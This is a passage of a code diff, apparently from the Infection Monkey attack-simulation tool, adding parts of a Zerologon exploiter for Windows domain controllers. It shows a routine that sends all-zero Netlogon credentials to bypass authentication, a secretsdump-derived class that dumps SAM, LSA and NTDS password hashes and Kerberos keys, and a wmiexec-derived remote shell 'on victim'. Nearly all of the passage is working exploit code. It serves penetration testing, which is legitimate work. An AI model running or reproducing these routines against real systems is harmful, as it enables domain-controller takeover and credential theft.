||||||
|
)
|
||||||
|
return True
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
class NetrServerPasswordSet(nrpc.NDRCALL):
|
||||||
|
opnum = 6
|
||||||
|
structure = (
|
||||||
|
("PrimaryName", nrpc.PLOGONSRV_HANDLE),
|
||||||
|
("AccountName", nrpc.WSTR),
|
||||||
|
("SecureChannelType", nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
|
||||||
|
("ComputerName", nrpc.WSTR),
|
||||||
|
("Authenticator", nrpc.NETLOGON_AUTHENTICATOR),
|
||||||
|
("UasNewPassword", nrpc.ENCRYPTED_NT_OWF_PASSWORD),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
class NetrServerPasswordSetResponse(nrpc.NDRCALL):
|
||||||
|
structure = (
|
||||||
|
("ReturnAuthenticator", nrpc.NETLOGON_AUTHENTICATOR),
|
||||||
|
("ErrorCode", nrpc.NTSTATUS),
|
||||||
|
)
|
|
@ -0,0 +1,275 @@
|
||||||
|
# Copyright (c) 2000 SecureAuth Corporation. All rights
|
||||||
|
# reserved.
|
||||||
|
|
||||||
|
# Redistribution and use in source and binary forms, with or without
|
||||||
|
# modification, are permitted provided that the following conditions
|
||||||
|
# are met:
|
||||||
|
|
||||||
|
# 1. Redistributions of source code must retain the above copyright
|
||||||
|
# notice, this list of conditions and the following disclaimer.
|
||||||
|
|
||||||
|
# 2. Redistributions in binary form must reproduce the above copyright
|
||||||
|
# notice, this list of conditions and the following disclaimer in
|
||||||
|
# the documentation and/or other materials provided with the
|
||||||
|
# distribution.
|
||||||
|
|
||||||
|
# 3. The end-user documentation included with the redistribution,
|
||||||
|
# if any, must include the following acknowledgment:
|
||||||
|
# "This product includes software developed by
|
||||||
|
# SecureAuth Corporation (https://www.secureauth.com/)."
|
||||||
|
# Alternately, this acknowledgment may appear in the software itself,
|
||||||
|
# if and wherever such third-party acknowledgments normally appear.
|
||||||
|
|
||||||
|
# 4. The names "Impacket", "SecureAuth Corporation" must
|
||||||
|
# not be used to endorse or promote products derived from this
|
||||||
|
# software without prior written permission. For written
|
||||||
|
# permission, please contact oss@secureauth.com.
|
||||||
|
|
||||||
|
# 5. Products derived from this software may not be called "Impacket",
|
||||||
|
# nor may "Impacket" appear in their name, without prior written
|
||||||
|
# permission of SecureAuth Corporation.
|
||||||
|
|
||||||
|
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
|
||||||
|
# WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||||
|
# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||||
|
# DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
|
||||||
|
# ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||||
|
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||||
|
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
|
||||||
|
# USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||||
|
# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||||
|
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||||
|
# OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||||
|
# SUCH DAMAGE.
|
||||||
|
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import traceback
|
||||||
|
|
||||||
|
from impacket.examples.secretsdump import (
|
||||||
|
LocalOperations,
|
||||||
|
LSASecrets,
|
||||||
|
NTDSHashes,
|
||||||
|
RemoteOperations,
|
||||||
|
SAMHashes,
|
||||||
|
)
|
||||||
|
from impacket.smbconnection import SMBConnection
|
||||||
|
|
||||||
|
from infection_monkey.utils.capture_output import StdoutCapture
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
|
||||||
|
# Used to get Administrator and original DC passwords' hashes
|
||||||
|
class DumpSecrets:
|
||||||
|
def __init__(self, remote_name, username="", password="", domain="", options=None):
|
||||||
|
self.__use_VSS_method = options.use_vss
|
||||||
|
self.__remote_name = remote_name
|
||||||
|
self.__remote_host = options.target_ip
|
||||||
|
self.__username = username
|
||||||
|
self.__password = password
|
||||||
|
self.__domain = domain
|
||||||
|
self.__lmhash = ""
|
||||||
|
self.__nthash = ""
|
||||||
|
self.__smb_connection = None
|
||||||
|
self.__remote_ops = None
|
||||||
|
self.__SAM_hashes = None
|
||||||
|
self.__NTDS_hashes = None
|
||||||
|
self.__LSA_secrets = None
|
||||||
|
self.__system_hive = options.system
|
||||||
|
self.__bootkey = options.bootkey
|
||||||
|
self.__security_hive = options.security
|
||||||
|
self.__sam_hive = options.sam
|
||||||
|
self.__ntds_file = options.ntds
|
||||||
|
self.__no_lmhash = options.no_lmhash
|
||||||
|
self.__is_remote = options.is_remote
|
||||||
|
self.__do_kerberos = options.k
|
||||||
|
self.__just_DC = options.just_dc
|
||||||
|
self.__just_DC_NTLM = options.just_dc_ntlm
|
||||||
|
self.__can_process_SAM_LSA = options.can_process_SAM_LSA
|
||||||
|
self.__kdc_host = options.dc_ip
|
||||||
|
self.__options = options
|
||||||
|
|
||||||
|
if options.hashes is not None:
|
||||||
|
self.__lmhash, self.__nthash = options.hashes.split(":")
|
||||||
|
|
||||||
|
def connect(self):
|
||||||
|
self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host)
|
||||||
|
self.__smb_connection.login(
|
||||||
|
self.__username,
|
||||||
|
self.__password,
|
||||||
|
self.__domain,
|
||||||
|
self.__lmhash,
|
||||||
|
self.__nthash,
|
||||||
|
)
|
||||||
|
|
||||||
|
def dump(self): # noqa: C901
|
||||||
|
with StdoutCapture() as output_captor:
|
||||||
|
dumped_secrets = ""
|
||||||
|
|
||||||
|
try:
|
||||||
|
if self.__remote_name.upper() == "LOCAL" and self.__username == "":
|
||||||
|
self.__is_remote = False
|
||||||
|
self.__use_VSS_method = True
|
||||||
|
if self.__system_hive:
|
||||||
|
local_operations = LocalOperations(self.__system_hive)
|
||||||
|
bootkey = local_operations.getBootKey()
|
||||||
|
if self.__ntds_file is not None:
|
||||||
|
# Let's grab target's configuration about LM Hashes storage.
|
||||||
|
self.__no_lmhash = local_operations.checkNoLMHashPolicy()
|
||||||
|
else:
|
||||||
|
import binascii
|
||||||
|
|
||||||
|
bootkey = binascii.unhexlify(self.__bootkey)
|
||||||
|
|
||||||
|
else:
|
||||||
|
self.__is_remote = True
|
||||||
|
bootkey = None
|
||||||
|
try:
|
||||||
|
try:
|
||||||
|
self.connect()
|
||||||
|
except Exception as e:
|
||||||
|
if (
|
||||||
|
os.getenv("KRB5CCNAME") is not None
|
||||||
|
and self.__do_kerberos is True
|
||||||
|
):
|
||||||
|
# SMBConnection failed. That might be because there was no way to log into the
|
||||||
|
# target system. We just have a last resort. Hope we have tickets cached and that they
|
||||||
|
# will work
|
||||||
|
LOG.debug(
|
||||||
|
"SMBConnection didn't work, hoping Kerberos will help (%s)"
|
||||||
|
% str(e)
|
||||||
|
)
|
||||||
|
else:
|
||||||
|
raise
|
||||||
|
|
||||||
|
self.__remote_ops = RemoteOperations(
|
||||||
|
self.__smb_connection, self.__do_kerberos, self.__kdc_host
|
||||||
|
)
|
||||||
|
self.__remote_ops.setExecMethod(self.__options.exec_method)
|
||||||
|
if (
|
||||||
|
self.__just_DC is False
|
||||||
|
and self.__just_DC_NTLM is False
|
||||||
|
or self.__use_VSS_method is True
|
||||||
|
):
|
||||||
|
self.__remote_ops.enableRegistry()
|
||||||
|
bootkey = self.__remote_ops.getBootKey()
|
||||||
|
# Let's check whether target system stores LM Hashes.
|
||||||
|
self.__no_lmhash = self.__remote_ops.checkNoLMHashPolicy()
|
||||||
|
except Exception as e:
|
||||||
|
self.__can_process_SAM_LSA = False
|
||||||
|
if (
|
||||||
|
str(e).find("STATUS_USER_SESSION_DELETED")
|
||||||
|
and os.getenv("KRB5CCNAME") is not None
|
||||||
|
and self.__do_kerberos is True
|
||||||
|
):
|
||||||
|
# Giving some hints here when SPN target name validation is set to something different to Off.
|
||||||
|
# This will prevent establishing SMB connections using TGS for SPNs different to cifs/.
|
||||||
|
LOG.error(
|
||||||
|
"Policy SPN target name validation might be restricting full DRSUAPI dump."
|
||||||
|
+ "Try -just-dc-user"
|
||||||
|
)
|
||||||
|
else:
|
||||||
|
LOG.error("RemoteOperations failed: %s" % str(e))
|
||||||
|
|
||||||
|
# If RemoteOperations succeeded, then we can extract SAM and LSA.
|
||||||
|
if (
|
||||||
|
self.__just_DC is False
|
||||||
|
and self.__just_DC_NTLM is False
|
||||||
|
and self.__can_process_SAM_LSA
|
||||||
|
):
|
||||||
|
try:
|
||||||
|
if self.__is_remote is True:
|
||||||
|
SAM_file_name = self.__remote_ops.saveSAM()
|
||||||
|
else:
|
||||||
|
SAM_file_name = self.__sam_hive
|
||||||
|
|
||||||
|
self.__SAM_hashes = SAMHashes(
|
||||||
|
SAM_file_name, bootkey, isRemote=self.__is_remote
|
||||||
|
)
|
||||||
|
self.__SAM_hashes.dump()
|
||||||
|
except Exception as e:
|
||||||
|
LOG.error("SAM hashes extraction failed: %s" % str(e))
|
||||||
|
|
||||||
|
try:
|
||||||
|
if self.__is_remote is True:
|
||||||
|
SECURITY_file_name = self.__remote_ops.saveSECURITY()
|
||||||
|
else:
|
||||||
|
SECURITY_file_name = self.__security_hive
|
||||||
|
|
||||||
|
self.__LSA_secrets = LSASecrets(
|
||||||
|
SECURITY_file_name,
|
||||||
|
bootkey,
|
||||||
|
self.__remote_ops,
|
||||||
|
isRemote=self.__is_remote,
|
||||||
|
)
|
||||||
|
self.__LSA_secrets.dumpCachedHashes()
|
||||||
|
self.__LSA_secrets.dumpSecrets()
|
||||||
|
except Exception as e:
|
||||||
|
LOG.debug(traceback.print_exc())
|
||||||
|
LOG.error("LSA hashes extraction failed: %s" % str(e))
|
||||||
|
|
||||||
|
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work.
|
||||||
|
if self.__is_remote is True:
|
||||||
|
if self.__use_VSS_method and self.__remote_ops is not None:
|
||||||
|
NTDS_file_name = self.__remote_ops.saveNTDS()
|
||||||
|
else:
|
||||||
|
NTDS_file_name = None
|
||||||
|
else:
|
||||||
|
NTDS_file_name = self.__ntds_file
|
||||||
|
|
||||||
|
self.__NTDS_hashes = NTDSHashes(
|
||||||
|
NTDS_file_name,
|
||||||
|
bootkey,
|
||||||
|
isRemote=self.__is_remote,
|
||||||
|
noLMHash=self.__no_lmhash,
|
||||||
|
remoteOps=self.__remote_ops,
|
||||||
|
useVSSMethod=self.__use_VSS_method,
|
||||||
|
justNTLM=self.__just_DC_NTLM,
|
||||||
|
)
|
||||||
|
try:
|
||||||
|
self.__NTDS_hashes.dump()
|
||||||
|
except Exception as e:
|
||||||
|
LOG.debug(traceback.print_exc())
|
||||||
|
if str(e).find("ERROR_DS_DRA_BAD_DN") >= 0:
|
||||||
|
# We don't store the resume file if this error happened, since this error is related to lack
|
||||||
|
# of enough privileges to access DRSUAPI.
|
||||||
|
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
||||||
|
if resume_file is not None:
|
||||||
|
os.unlink(resume_file)
|
||||||
|
LOG.error(e)
|
||||||
|
if self.__use_VSS_method is False:
|
||||||
|
LOG.error(
|
||||||
|
"Something wen't wrong with the DRSUAPI approach. Try again with -use-vss parameter"
|
||||||
|
)
|
||||||
|
self.cleanup()
|
||||||
|
except (Exception, KeyboardInterrupt) as e:
|
||||||
|
LOG.debug(traceback.print_exc())
|
||||||
|
LOG.error(e)
|
||||||
|
if self.__NTDS_hashes is not None:
|
||||||
|
if isinstance(e, KeyboardInterrupt):
|
||||||
|
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
||||||
|
if resume_file is not None:
|
||||||
|
os.unlink(resume_file)
|
||||||
|
try:
|
||||||
|
self.cleanup()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
finally:
|
||||||
|
dumped_secrets = (
|
||||||
|
output_captor.get_captured_stdout_output()
|
||||||
|
) # includes hashes and kerberos keys
|
||||||
|
return dumped_secrets
|
||||||
|
|
||||||
|
def cleanup(self):
|
||||||
|
LOG.debug("Cleaning up...")
|
||||||
|
if self.__remote_ops:
|
||||||
|
self.__remote_ops.finish()
|
||||||
|
if self.__SAM_hashes:
|
||||||
|
self.__SAM_hashes.finish()
|
||||||
|
if self.__LSA_secrets:
|
||||||
|
self.__LSA_secrets.finish()
|
||||||
|
if self.__NTDS_hashes:
|
||||||
|
self.__NTDS_hashes.finish()
|
|
@ -0,0 +1,47 @@
|
||||||
|
from dataclasses import dataclass
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass()
|
||||||
|
class OptionsForSecretsdump:
|
||||||
|
bootkey = None
|
||||||
|
can_process_SAM_LSA = True
|
||||||
|
dc_ip = None
|
||||||
|
debug = False
|
||||||
|
exec_method = "smbexec"
|
||||||
|
hashes = None
|
||||||
|
is_remote = True
|
||||||
|
just_dc = True
|
||||||
|
just_dc_ntlm = False
|
||||||
|
k = False
|
||||||
|
keytab = None
|
||||||
|
no_lmhash = True
|
||||||
|
no_pass = True
|
||||||
|
ntds = None
|
||||||
|
sam = None
|
||||||
|
security = None
|
||||||
|
system = None
|
||||||
|
target = None
|
||||||
|
target_ip = None
|
||||||
|
ts = False
|
||||||
|
use_vss = False
|
||||||
|
|
||||||
|
def __init__(
|
||||||
|
self,
|
||||||
|
dc_ip=None,
|
||||||
|
just_dc=True,
|
||||||
|
sam=None,
|
||||||
|
security=None,
|
||||||
|
system=None,
|
||||||
|
target=None,
|
||||||
|
target_ip=None,
|
||||||
|
):
|
||||||
|
# dc_ip is assigned in get_original_pwd_nthash() and get_admin_pwd_hashes() in ../zerologon.py
|
||||||
|
self.dc_ip = dc_ip
|
||||||
|
# just_dc becomes False, and sam, security, and system are assigned in get_original_pwd_nthash() in ../zerologon.py
|
||||||
|
self.just_dc = just_dc
|
||||||
|
self.sam = sam
|
||||||
|
self.security = security
|
||||||
|
self.system = system
|
||||||
|
# target and target_ip are assigned in get_admin_pwd_hashes() in ../zerologon.py
|
||||||
|
self.target = target
|
||||||
|
self.target_ip = target_ip
|
|
@ -0,0 +1,178 @@
|
||||||
|
# Copyright (c) 2000 SecureAuth Corporation. All rights
|
||||||
|
# reserved.
|
||||||
|
|
||||||
|
# Redistribution and use in source and binary forms, with or without
|
||||||
|
# modification, are permitted provided that the following conditions
|
||||||
|
# are met:
|
||||||
|
|
||||||
|
# 1. Redistributions of source code must retain the above copyright
|
||||||
|
# notice, this list of conditions and the following disclaimer.
|
||||||
|
|
||||||
|
# 2. Redistributions in binary form must reproduce the above copyright
|
||||||
|
# notice, this list of conditions and the following disclaimer in
|
||||||
|
# the documentation and/or other materials provided with the
|
||||||
|
# distribution.
|
||||||
|
|
||||||
|
# 3. The end-user documentation included with the redistribution,
|
||||||
|
# if any, must include the following acknowledgment:
|
||||||
|
# "This product includes software developed by
|
||||||
|
# SecureAuth Corporation (https://www.secureauth.com/)."
|
||||||
|
# Alternately, this acknowledgment may appear in the software itself,
|
||||||
|
# if and wherever such third-party acknowledgments normally appear.
|
||||||
|
|
||||||
|
# 4. The names "Impacket", "SecureAuth Corporation" must
|
||||||
|
# not be used to endorse or promote products derived from this
|
||||||
|
# software without prior written permission. For written
|
||||||
|
# permission, please contact oss@secureauth.com.
|
||||||
|
|
||||||
|
# 5. Products derived from this software may not be called "Impacket",
|
||||||
|
# nor may "Impacket" appear in their name, without prior written
|
||||||
|
# permission of SecureAuth Corporation.
|
||||||
|
|
||||||
|
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
|
||||||
|
# WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||||
|
# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||||
|
# DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
|
||||||
|
# ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||||
|
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||||
|
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
|
||||||
|
# USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||||
|
# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||||
|
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||||
|
# OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||||
|
# SUCH DAMAGE.
|
||||||
|
|
||||||
|
|
||||||
|
import cmd
|
||||||
|
import logging
|
||||||
|
import ntpath
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
||||||
|
# Used to start remote shell on victim
|
||||||
|
class RemoteShell(cmd.Cmd):
|
||||||
|
CODEC = sys.stdout.encoding
|
||||||
|
|
||||||
|
def __init__(self, share, win32Process, smbConnection, outputFilename):
|
||||||
|
cmd.Cmd.__init__(self)
|
||||||
|
self.__share = share
|
||||||
|
self.__output = "\\" + outputFilename
|
||||||
|
self.__outputBuffer = str("")
|
||||||
|
self.__shell = "cmd.exe /Q /c "
|
||||||
|
self.__win32Process = win32Process
|
||||||
|
self.__transferClient = smbConnection
|
||||||
|
self.__pwd = str("C:\\")
|
||||||
|
self.__noOutput = False
|
||||||
|
|
||||||
|
# We don't wanna deal with timeouts from now on.
|
||||||
|
if self.__transferClient is not None:
|
||||||
|
self.__transferClient.setTimeout(100000)
|
||||||
|
self.do_cd("\\")
|
||||||
|
else:
|
||||||
|
self.__noOutput = True
|
||||||
|
|
||||||
|
def do_get(self, src_path):
|
||||||
|
try:
|
||||||
|
import ntpath
|
||||||
|
|
||||||
|
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
|
||||||
|
drive, tail = ntpath.splitdrive(newPath)
|
||||||
|
filename = ntpath.basename(tail)
|
||||||
|
local_file_path = os.path.join(
|
||||||
|
os.path.expanduser("~"), "monkey-" + filename
|
||||||
|
)
|
||||||
|
fh = open(local_file_path, "wb")
|
||||||
|
LOG.info("Downloading %s\\%s" % (drive, tail))
|
||||||
|
self.__transferClient.getFile(drive[:-1] + "$", tail, fh.write)
|
||||||
|
fh.close()
|
||||||
|
except Exception as e:
|
||||||
|
LOG.error(str(e))
|
||||||
|
if os.path.exists(local_file_path):
|
||||||
|
os.remove(local_file_path)
|
||||||
|
|
||||||
|
def do_exit(self, s):
|
||||||
|
return True
|
||||||
|
|
||||||
|
def do_cd(self, s):
|
||||||
|
self.execute_remote("cd " + s)
|
||||||
|
if len(self.__outputBuffer.strip("\r\n")) > 0:
|
||||||
|
print(self.__outputBuffer)
|
||||||
|
self.__outputBuffer = ""
|
||||||
|
else:
|
||||||
|
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
|
||||||
|
self.execute_remote("cd ")
|
||||||
|
self.__pwd = self.__outputBuffer.strip("\r\n")
|
||||||
|
self.prompt = self.__pwd + ">"
|
||||||
|
self.__outputBuffer = ""
|
||||||
|
|
||||||
|
def default(self, line):
|
||||||
|
# Let's try to guess if the user is trying to change drive.
|
||||||
|
if len(line) == 2 and line[1] == ":":
|
||||||
|
# Execute the command and see if the drive is valid.
|
||||||
|
self.execute_remote(line)
|
||||||
|
if len(self.__outputBuffer.strip("\r\n")) > 0:
|
||||||
|
# Something went wrong.
|
||||||
|
print(self.__outputBuffer)
|
||||||
|
self.__outputBuffer = ""
|
||||||
|
else:
|
||||||
|
# Drive valid, now we should get the current path.
|
||||||
|
self.__pwd = line
|
||||||
|
self.execute_remote("cd ")
|
||||||
|
self.__pwd = self.__outputBuffer.strip("\r\n")
|
||||||
|
self.prompt = self.__pwd + ">"
|
||||||
|
self.__outputBuffer = ""
|
||||||
|
else:
|
||||||
|
if line != "":
|
||||||
|
self.send_data(line)
|
||||||
|
|
||||||
|
def get_output(self):
|
||||||
|
def output_callback(data):
|
||||||
|
try:
|
||||||
|
self.__outputBuffer += data.decode(self.CODEC)
|
||||||
|
except UnicodeDecodeError:
|
||||||
|
LOG.error(
|
||||||
|
"Decoding error detected, consider running chcp.com at the target,\nmap the result with "
|
||||||
|
"https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py "
|
||||||
|
"again with -codec and the corresponding codec"
|
||||||
|
)
|
||||||
|
self.__outputBuffer += data.decode(self.CODEC, errors="replace")
|
||||||
|
|
||||||
|
if self.__noOutput is True:
|
||||||
|
self.__outputBuffer = ""
|
||||||
|
return
|
||||||
|
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
self.__transferClient.getFile(
|
||||||
|
self.__share, self.__output, output_callback
|
||||||
|
)
|
||||||
|
break
|
||||||
|
except Exception as e:
|
||||||
|
if str(e).find("STATUS_SHARING_VIOLATION") >= 0:
|
||||||
|
# Output not finished, let's wait.
|
||||||
|
time.sleep(1)
|
||||||
|
elif str(e).find("Broken") >= 0:
|
||||||
|
# The SMB Connection might have timed out, let's try reconnecting.
|
||||||
|
LOG.debug("Connection broken, trying to recreate it")
|
||||||
|
self.__transferClient.reconnect()
|
||||||
|
return self.get_output()
|
||||||
|
self.__transferClient.deleteFile(self.__share, self.__output)
|
||||||
|
|
||||||
|
def execute_remote(self, data):
|
||||||
|
command = self.__shell + data
|
||||||
|
if self.__noOutput is False:
|
||||||
|
command += (
|
||||||
|
" 1> " + "\\\\127.0.0.1\\%s" % self.__share + self.__output + " 2>&1"
|
||||||
|
)
|
||||||
|
self.__win32Process.Create(command, self.__pwd, None)
|
||||||
|
self.get_output()
|
||||||
|
|
||||||
|
def send_data(self, data):
|
||||||
|
self.execute_remote(data)
|
||||||
|
print(self.__outputBuffer)
|
||||||
|
self.__outputBuffer = ""
|
|
@ -0,0 +1,92 @@
|
||||||
|
import logging
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
import nmb.NetBIOS
|
||||||
|
from impacket.dcerpc.v5 import nrpc, rpcrt
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
def get_dc_details(host: object) -> (str, str, str):
|
||||||
|
dc_ip = host.ip_addr
|
||||||
|
dc_name = _get_dc_name(dc_ip=dc_ip)
|
||||||
|
dc_handle = "\\\\" + dc_name
|
||||||
|
return dc_ip, dc_name, dc_handle
|
||||||
|
|
||||||
|
|
||||||
|
def _get_dc_name(dc_ip: str) -> str:
|
||||||
|
"""
|
||||||
|
Gets NetBIOS name of the Domain Controller (DC).
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
nb = nmb.NetBIOS.NetBIOS()
|
||||||
|
name = nb.queryIPForName(
|
||||||
|
ip=dc_ip
|
||||||
|
) # returns either a list of NetBIOS names or None
|
||||||
|
return name[0] if name else ""
|
||||||
|
except BaseException as ex:
|
||||||
|
LOG.info(f"Exception: {ex}")
|
||||||
|
|
||||||
|
|
||||||
|
def is_exploitable(zerologon_exploiter_object) -> (bool, Optional[rpcrt.DCERPC_v5]):
|
||||||
|
# Connect to the DC's Netlogon service.
|
||||||
|
try:
|
||||||
|
rpc_con = zerologon_exploiter_object.connect_to_dc(zerologon_exploiter_object.dc_ip)
|
||||||
|
except Exception as e:
|
||||||
|
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
||||||
|
return False, None
|
||||||
|
|
||||||
|
# Try authenticating.
|
||||||
|
for _ in range(0, zerologon_exploiter_object.MAX_ATTEMPTS):
|
||||||
|
try:
|
||||||
|
rpc_con_auth_result = _try_zero_authenticate(
|
||||||
|
zerologon_exploiter_object, rpc_con
|
||||||
|
)
|
||||||
|
if rpc_con_auth_result is not None:
|
||||||
|
return True, rpc_con_auth_result
|
||||||
|
except Exception as ex:
|
||||||
|
LOG.info(ex)
|
||||||
|
return False, None
|
||||||
|
|
||||||
|
return False, None
|
||||||
|
|
||||||
|
|
||||||
|
def _try_zero_authenticate(
|
||||||
|
zerologon_exploiter_object, rpc_con: rpcrt.DCERPC_v5
|
||||||
|
) -> rpcrt.DCERPC_v5:
|
||||||
|
plaintext = b"\x00" * 8
|
||||||
|
ciphertext = b"\x00" * 8
|
||||||
|
flags = 0x212FFFFF
|
||||||
|
|
||||||
|
# Send challenge and authentication request.
|
||||||
|
nrpc.hNetrServerReqChallenge(
|
||||||
|
rpc_con,
|
||||||
|
zerologon_exploiter_object.dc_handle + "\x00",
|
||||||
|
zerologon_exploiter_object.dc_name + "\x00",
|
||||||
|
plaintext,
|
||||||
|
)
|
||||||
|
|
||||||
|
try:
|
||||||
|
server_auth = nrpc.hNetrServerAuthenticate3(
|
||||||
|
rpc_con,
|
||||||
|
zerologon_exploiter_object.dc_handle + "\x00",
|
||||||
|
zerologon_exploiter_object.dc_name + "$\x00",
|
||||||
|
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
||||||
|
zerologon_exploiter_object.dc_name + "\x00",
|
||||||
|
ciphertext,
|
||||||
|
flags,
|
||||||
|
)
|
||||||
|
|
||||||
|
assert server_auth["ErrorCode"] == 0
|
||||||
|
return rpc_con
|
||||||
|
|
||||||
|
except nrpc.DCERPCSessionError as ex:
|
||||||
|
if (
|
||||||
|
ex.get_error_code() == 0xC0000022
|
||||||
|
): # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
raise Exception(f"Unexpected error code: {ex.get_error_code()}.")
|
||||||
|
|
||||||
|
except BaseException as ex:
|
||||||
|
raise Exception(f"Unexpected error: {ex}.")
|
|
@ -0,0 +1,120 @@
|
||||||
|
# Copyright (c) 2000 SecureAuth Corporation. All rights
|
||||||
|
# reserved.
|
||||||
|
|
||||||
|
# Redistribution and use in source and binary forms, with or without
|
||||||
|
# modification, are permitted provided that the following conditions
|
||||||
|
# are met:
|
||||||
|
|
||||||
|
# 1. Redistributions of source code must retain the above copyright
|
||||||
|
# notice, this list of conditions and the following disclaimer.
|
||||||
|
|
||||||
|
# 2. Redistributions in binary form must reproduce the above copyright
|
||||||
|
# notice, this list of conditions and the following disclaimer in
|
||||||
|
# the documentation and/or other materials provided with the
|
||||||
|
# distribution.
|
||||||
|
|
||||||
|
# 3. The end-user documentation included with the redistribution,
|
||||||
|
# if any, must include the following acknowledgment:
|
||||||
|
# "This product includes software developed by
|
||||||
|
# SecureAuth Corporation (https://www.secureauth.com/)."
|
||||||
|
# Alternately, this acknowledgment may appear in the software itself,
|
||||||
|
# if and wherever such third-party acknowledgments normally appear.
|
||||||
|
|
||||||
|
# 4. The names "Impacket", "SecureAuth Corporation" must
|
||||||
|
# not be used to endorse or promote products derived from this
|
||||||
|
# software without prior written permission. For written
|
||||||
|
# permission, please contact oss@secureauth.com.
|
||||||
|
|
||||||
|
# 5. Products derived from this software may not be called "Impacket",
|
||||||
|
# nor may "Impacket" appear in their name, without prior written
|
||||||
|
# permission of SecureAuth Corporation.
|
||||||
|
|
||||||
|
# THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
|
||||||
|
# WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||||
|
# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||||
|
# DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
|
||||||
|
# ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||||
|
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
|
||||||
|
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
|
||||||
|
# USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||||
|
# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||||
|
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
|
||||||
|
# OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||||
|
# SUCH DAMAGE.
|
||||||
|
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import time
|
||||||
|
|
||||||
|
from impacket.dcerpc.v5.dcom import wmi
|
||||||
|
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||||
|
from impacket.dcerpc.v5.dtypes import NULL
|
||||||
|
from impacket.smbconnection import SMBConnection
|
||||||
|
|
||||||
|
from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
||||||
|
# Used to get HKLM keys for restoring original DC password
|
||||||
|
class Wmiexec:
|
